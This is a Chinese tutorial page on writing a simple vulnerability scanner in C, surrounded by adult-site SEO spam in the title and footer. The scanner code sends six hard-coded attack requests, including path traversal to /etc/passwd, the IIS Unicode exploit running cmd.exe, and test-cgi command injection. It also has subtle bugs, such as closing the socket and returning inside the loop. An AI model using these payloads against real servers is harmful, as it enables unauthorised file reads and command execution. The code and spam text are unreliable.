日本国产亚洲-日本国产一区-日本国产一区二区三区-日本韩国欧美一区-日本韩国欧美在线-日本韩国欧美在线观看

當前位置:雨林木風下載站 > 技術開發教程 > 詳細頁面

編寫漏洞掃描器

編寫漏洞掃描器

更新時間:2022-05-13 文章作者:未知 信息來源:網絡 閱讀次數:

一、漏洞掃描器基本原理:  

編寫漏洞掃描器探查遠程服務器上可能存在的具有安全隱患的文件是否存在,它的socket建立過程和上面的端口掃描器是相同的,所不同的是漏洞掃描器通常使用80端口,然后對這個端口發送一個GET文件的請求,服務器接收到請求會返回文件內容,如果文件不存在則返回一個錯誤提示,通過接收返回內容可以判斷文件是否存在。發送和接收數據需要使用函數send()和recv(),另外對流中存在的字符串進行判斷需要使用函數strstr(),這除了需要具備socket函數庫的知識以外,還需要一些有關string函數庫的知識。  

二、簡單的漏洞掃描源代碼:  

/********************************************/  
/* 端口掃描器 源代碼 */  
/* CgiScanner.cpp */  
/********************************************/  

#include <stdio.h>  
#include <string.h>  
#include <winsock.h>  

int main(int argc,char *argv[])  
{  
if(argc!=2){  
printf("Useage : scan [IP address]\n");  
return(1);  
}  

struct sockaddr_in blah;  
struct hostent *he;  
WSADATA wsaData;  
int i;  
WORD wVersionRequested;  
SOCKET sock;  

char buff[1024];  
char *ex[10];  
ex[1]="GET /../../../../etc/passwd HTTP/1.0\n\n";  
ex[2]="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";  
ex[3]="GET /A.ida/%c1%00.ida HTTP/1.0\n\n";  
ex[4]="GET /cgi-bin/pfdispaly.cgi?/../../../../etc/motd HTTP/1.0\n\n";  
ex[5]="GET /cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd HTTP/1.0\n\n";  
ex[6]="GET /cgi-bin/test-cgi?* HTTP/1.0\n\n";  
char *fmsg="HTTP/1.1 200 OK";  

wVersionRequested = MAKEWORD( 1, 1 );  
if (WSAStartup(wVersionRequested , &wsaData)){  
printf("Winsock Initialization failed.\n");  
exit(1);  
}  

if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){  
printf("Can not create socket.\n");  
exit(1);  
}  
sock = socket(AF_INET,SOCK_STREAM,0);  
blah.sin_family = AF_INET;  
blah.sin_port = htons(80);  
blah.sin_addr.s_addr= inet_addr(argv[1]);  

if ((he=gethostbyname(argv[1]))!=NULL){  
memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length);  
}  
else{  
if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){  
WSACleanup();  
exit(1);  
}  
}  

for (i=1 ; i<7; i++) {
if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){
send(sock,ex[i],strlen(ex[i]),0);
recv(sock,buff,sizeof(buff),0);
if(strstr(buff,fmsg)!=NULL){
printf("\nFound :%s\n", ex[i]);
}
}

closesocket(sock);
WSACleanup();
return(1);
}
}

這段代碼可以檢測六個漏洞,讀者可以根據自己的需要增加漏洞掃描的數量。程序實現的很簡潔,概括起來這段程序完成了一下四項工作:

1、連接目標主機SERVER;
2、向目標主機發送GET請求;
3、接收目標返回數據;
4、根據返回數據判斷文件是否存在。

溫馨提示:喜歡本站的話,請收藏一下本站!

本類教程下載

系統下載排行

主站蜘蛛池模板: 久久99精品热在线观看15 | 在线观看中文字幕一区 | 欧美一区二区三区免费高 | 日日夜夜精品 | 久久人人视频 | 久青草香蕉精品视频在线 | 杨幂精品国产专区91在线 | 在线观看国产情趣免费视频 | 欧美日韩中文一区二区三区 | 亚洲国产99| 日韩一区二区三区在线视频 | 久久成人在线 | 色综合欧美激情亚洲小说 | 377日本大胆欧美人术艺术 | 欧美日韩一区二区中文字幕视频 | 日本久草视频 | 日韩在线免费观看视频 | 久久亚洲最大成人网4438 | 欧美一区二区影院 | 人人爽人人爽人人爽 | 国产91精选在线观看网站 | 999精品久久久中文字幕蜜桃 | 国产色婷婷视频在线观看 | 99国产精品久久久久久久成人热 | 超级碰碰碰碰97久久久久 | 97人人网 | 99久久精品免费看国产 | 国产三级在线观看视频不卡 | 国产成人免费手机在线观看视频 | 青草综合 | 国产精品久久人人做人人爽 | 中国xxxx视频播放免费 | 一本色道久久99一综合 | 欧美日韩一区二区三区麻豆 | 久久精品一区二区 | 成人免费视频在线播放 | 在线私拍国产福利精品 | 香港台湾日本三级纶理在线视 | 亚洲在线网 | 在线小毛片 | 国产第一页浮力影院-欢迎你 |